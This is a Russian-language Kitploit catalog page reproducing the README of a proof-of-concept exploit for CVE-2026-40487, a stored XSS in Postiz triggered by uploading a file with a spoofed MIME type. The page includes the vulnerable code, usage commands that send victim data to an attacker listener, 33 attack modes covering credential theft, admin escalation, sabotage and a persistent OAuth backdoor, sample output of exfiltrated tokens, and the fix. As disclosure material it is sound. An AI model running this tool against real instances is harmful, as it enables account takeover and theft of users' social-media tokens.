Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-40487 — Эксплойт proof-of-concept для CVE-2026-40487, демонстрирующий произвольную загрузку файлов через подмену MIME, приводящую к хранимому XSS и захвату учётной записи в Postiz. Включает несколько режимов атаки для эксфильтрации данных, повышения привилегий и закрепления в системе. | Kitploit
Инструменты/GitHubGitHub/astaruf/cve-2026-40487
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на ПроникновениеРазработка Полезной Нагрузки
GitHubastaruf/cve-2026-40487

CVE-2026-40487

Эксплойт proof-of-concept для CVE-2026-40487, демонстрирующий произвольную загрузку файлов через подмену MIME, приводящую к хранимому XSS и захвату учётной записи в Postiz. Включает несколько режимов атаки для эксфильтрации данных, повышения привилегий и закрепления в системе.

Репозиторий
34 месяцев назадЕщё не проверено
Сайт

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-40487 - Postiz <= 2.21.5 - Произвольная загрузка файлов через подмену MIME-типа с переходом в хранимый XSS и захват учетной записи

Обнаружено и сообщено: Astaruf

Полное описание: https://nstsec.com/en/posts/postiz-xss-cve-2026-40487/

Запись NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-40487

Запись GHSA: https://github.com/gitroomhq/postiz-app/security/advisories/GHSA-44wg-r34q-hvfx

Запись CVE: https://www.cve.org/CVERecord?id=CVE-2026-40487


Краткое описание

Postiz — это инструмент управления социальными сетями с открытым исходным кодом, поддерживающий более 28 платформ (Instagram, X, LinkedIn, Facebook, TikTok и др.), используемый более чем 600 экземплярами, доступными в интернете.

Злоумышленник с низкими привилегиями может загрузить вредоносный SVG (или HTML) файл с подделанным заголовком Content-Type: image/png. Сервер принимает файл без проверки его фактического содержимого, сохраняет исходное расширение, а nginx отдает его с Content-Type, полученным из этого расширения (image/svg+xml). Когда жертва открывает URL, встроенный JavaScript выполняется в origin приложения, что дает злоумышленнику полный контроль над сессией, эквивалентный захвату учетной записи.

Цепочка атаки:

root@kitploit:~
Злоумышленник загружает .svg с Content-Type: image/png
  -> Сервер проверяет только заголовок Content-Type (CWE-345)
    -> Файл сохраняется на диск с исходным расширением .svg (CWE-434)
      -> nginx отдает его как image/svg+xml
        -> Браузер выполняет встроенный JavaScript (CWE-79)
          -> Тот же origin: полный доступ к сессии жертвы

Воздействие

XSS-пейлоад выполняется в том же origin, что и приложение. Даже если cookie аутентификации имеет флаг HttpOnly, fetch() с credentials: "include" автоматически прикрепляет его. Злоумышленник может:

  • Похитить профиль жертвы, ключи API, OAuth-токены для всех подключенных социальных аккаунтов
  • Читать, создавать, изменять и удалять запланированные публикации на всех платформах
  • Пригласить злоумышленника как администратора в организацию жертвы
  • Создать постоянный OAuth-бэкдор (pos_* токен, который никогда не истекает и переживает смену пароля)
  • Отключить уведомления, стереть конфигурации, принудительно выйти из системы
  • Выполнять произвольные аутентифицированные API-вызовы от имени жертвы

Детали уязвимости

Три компонента отказывают независимо друг от друга, создавая цепочку эксплуатации:

1. Проверка MIME-типа доверяет вводу клиента (CWE-345)

libraries/nestjs-libraries/src/upload/custom.upload.validation.ts:

root@kitploit:~
const validation =
  (value.mimetype.startsWith('image/') ||
    value.mimetype.startsWith('video/mp4')) &&
  value.size <= maxSize;

value.mimetype берется из заголовка Content-Type в multipart-запросе, который контролирует злоумышленник. Никакой проверки магических байтов, никакого использования библиотек типа file-type.

2. Исходное расширение сохраняется на диске (CWE-434)

libraries/nestjs-libraries/src/upload/local.storage.ts:

root@kitploit:~
const filePath = `${dir}/${randomName}${extname(file.originalname)}`;
writeFileSync(filePath, file.buffer);

extname(file.originalname) извлекает расширение из имени файла, предоставленного клиентом. Нет проверки соответствия между заявленным MIME-типом и расширением. Сервер также возвращает полный публичный URL в ответе, поэтому злоумышленник получает ссылку для отправки жертве.

3. nginx отдает файл с Content-Type, полученным из расширения

root@kitploit:~
http {
    include       /etc/nginx/mime.types;
    location /uploads/ {
        alias /uploads/;
    }
}

nginx сопоставляет .svg с image/svg+xml, .html с text/html. Нет Content-Security-Policy, нет X-Content-Type-Options: nosniff, нет Content-Disposition: attachment.

Доказательство концепции

Требования

root@kitploit:~
Python 3.8+
pip install requests

Быстрый старт

root@kitploit:~
# 1. Проверить, уязвима ли цель
python3 poc.py http://target:5000 -e [email protected] -p password --check

# 2. Похитить все данные жертвы
python3 poc.py http://target:5000 -e [email protected] -p password \
    --lhost YOUR_IP -a full-dump

# 3. Создать постоянный бэкдор
python3 poc.py http://target:5000 -e [email protected] -p password \
    --lhost YOUR_IP -a create-oauth-app

# 4. Использовать токен без учетных данных
python3 poc.py http://target:5000 -t pos_XXXX...XXXX \
    --lhost YOUR_IP -a full-dump

Схема атаки

root@kitploit:~
Злоумышленник                Сервер Postiz              Жертва
    |                              |                        |
    |-- 1. Вход/Регистрация ------>|                        |
    |-- 2. Загрузка вредоносного SVG -->|                        |
    |<---- URL файла -----------|                        |
    |-- 3. Отправка URL жертве --------------------------->  |
    |                              |<--- 4. Открытие URL --- |
    |                              |--- SVG + JS ---------> |
    |<-------------- 5. JS выполняется, похищает данные ----|

Все режимы атаки (33)

Эксфильтрация (19 режимов) — похищение данных жертвы
РежимОписание
dump-selfПрофиль жертвы, информация об организации, тариф, ключ API
dump-personalОтображаемое имя, био, фото профиля
dump-integrationsПодключенные интеграции социальных сетей и токены
dump-postsЗапланированные и черновые публикации (за последние 365 дней)
dump-teamУчастники команды, роли и адреса электронной почты
dump-mediaСписок медиатеки
dump-notificationsИстория уведомлений
dump-signaturesПодписи к публикациям
dump-webhooksНастроенные вебхуки и их URL
dump-oauth-appУчетные данные OAuth-приложения (clientId, secret)
dump-copilotЦепочки диалогов AI-копайлота
dump-billingИнформация о биллинге и подписке
dump-settingsНастройки коротких ссылок и уведомлений
dump-third-partyКонфигурации сторонних интеграций
dump-autopostПравила автопостинга
dump-setsНаборы контента
dump-tagsТеги публикаций
dump-customersСписок клиентов
full-dumpВсе вышеперечисленное в одном пейлоаде
Повышение привилегий (3 режима)
РежимОписание
add-adminПригласить злоумышленника как ADMIN в организацию жертвы (--attacker-email)
rotate-keyПеревыпустить ключ API организации и похитить его
rotate-oauthПеревыпустить секрет OAuth-приложения и похитить его
Саботаж (9 режимов) — деструктивные действия
РежимОписание
kill-notificationsОтключить все email-уведомления
edit-profileИзменить имя и био жертвы (--edit-name, --edit-bio)
wipe-signaturesУдалить все подписи к публикациям
wipe-webhooksУдалить все вебхуки
wipe-tagsУдалить все теги
wipe-setsУдалить все наборы контента
wipe-autopostУдалить все правила автопостинга
logout-victimПринудительно выйти из системы жертвы
delete-oauth-appУдалить OAuth-приложение жертвы
Бэкдор (2 режима) — постоянный доступ
РежимОписание
create-oauth-appСоздать OAuth-приложение, автоодобрение, похитить постоянный pos_* токен (--oauth-redirect)
steal-cookieПохитить JWT аутентификации через document.cookie (когда NOT_SECURED=true)
Универсальные (2 режима) — продвинутые
РежимОписание
api-callПроизвольный аутентифицированный API-вызов (--api-method, --api-path, --api-body)
customВыполнение произвольного JavaScript (--custom-js)

Дополнительные опции

ОпцияОписание
--checkПроверить, уязвима ли цель (без выполнения атаки)
--registerЗарегистрировать новый аккаунт перед входом
-t / --tokenИспользовать ключ API или pos_* токен вместо учетных данных
--format htmlИспользовать HTML-пейлоад вместо SVG
--proxyНаправить трафик через HTTP/SOCKS-прокси (например, Burp Suite)
-o / --outputСохранить добытые данные в JSON-файл

Демонстрация

root@kitploit:~
$ python3 poc.py http://target:5000 -e [email protected] -p S3cret! --lhost 10.0.0.1 -a full-dump

 ██████╗██╗   ██╗███████╗        ██╗  ██╗  ██████╗  ██╗  ██╗  █████╗  ███████╗
██╔════╝██║   ██║██╔════╝        ██║  ██║ ██╔═████╗ ██║  ██║ ██╔══██╗ ╚════██║
██║     ██║   ██║█████╗   -2026- ███████║ ██║██╔██║ ███████║ ╚█████╔╝     ██╔╝
██║     ╚██╗ ██╔╝██╔══╝          ╚════██║ ████╔╝██║ ╚════██║ ██╔══██╗    ██╔╝
╚██████╗ ╚████╔╝ ███████╗             ██║ ╚██████╔╝      ██║ ╚█████╔╝    ██║
 ╚═════╝  ╚═══╝  ╚══════╝             ╚═╝  ╚═════╝       ╚═╝  ╚════╝     ╚═╝

  Postiz <= 2.21.5 — Хранимый XSS через загрузку файла с подменой MIME

[*] Вход как [email protected] ...
[+] Аутентификация успешна.
[*] Генерация пейлоада: Похищение всех данных одним пейлоадом
[*] Загрузка вредоносного .svg с Content-Type: image/png ...
[+] Загрузка успешна.
    ID:   28c1daee-d83e-403e-bc1f-dba63182d4b0
    Path: http://target:5000/uploads/2026/04/15/4be19b2244eb.svg
[*] Запуск слушателя эксфильтрации на 0.0.0.0:8888 ...

=================================================================
  Отправьте этот URL жертве:

  http://target:5000/uploads/2026/04/15/4be19b2244eb.svg

=================================================================

[*] Ожидание открытия ссылки жертвой ...

[+] Данные получены @ 2026-04-15 03:45:41
    tag: victim-profile
    data: {"email":"[email protected]","orgId":"...","publicApi":"bd332945..."}

[+] Данные получены @ 2026-04-15 03:45:41
    tag: integrations
    data: [{"id":"...","providerIdentifier":"instagram","token":"IGQVJ..."}]

[+] Данные получены @ 2026-04-15 03:45:42
    tag: team-members
    data: [{"userId":"...","email":"[email protected]","role":"SUPERADMIN"}]
    ...

Исправление

Версия 2.21.6 внесла три изменения:

  1. Проверка магических байтов с использованием библиотеки file-type для проверки фактического содержимого файла
  2. Явный список разрешенных MIME-типов (больше никакого image/* catch-all)
  3. Переопределение расширения на основе обнаруженного типа содержимого

Хронология

ДатаСобытие
2026-04-10Уязвимость обнаружена при ревью исходного кода
2026-04-10Сообщено через GitHub Security Advisory (GHSA)
2026-04-10Разработчики подтвердили и запросили уточнения
2026-04-10Предоставлены детальные сценарии атаки и данные Shodan
2026-04-11Представлен спор по CVSS с доказательствами
2026-04-13Исправление выпущено в v2.21.6
2026-04-14Присвоен CVE-2026-40487
2026-04-15Публичное раскрытие

Ссылки

  • Полное описание Astaruf
  • CVE-2026-40487 - GHSA Security Advisory
  • CVE-2026-40487 - запись NVD
  • Postiz - официальный репозиторий
  • Postiz v2.21.6 - релиз с исправлением
  • CWE-345: Недостаточная проверка подлинности данных
  • CWE-434: Неограниченная загрузка файла опасного типа
  • CWE-79: Хранимый межсайтовый скриптинг
  • OWASP - Неограниченная загрузка файлов

Отказ от ответственности

Этот инструмент предоставляется только для авторизованного тестирования безопасности и образовательных целей. Используйте его только против систем, которыми вы владеете или на тестирование которых имеете явное письменное разрешение. Несанкционированный доступ к компьютерным системам незаконен. Автор не несет ответственности за неправомерное использование.

Лицензия

MIT

Скачать инструмент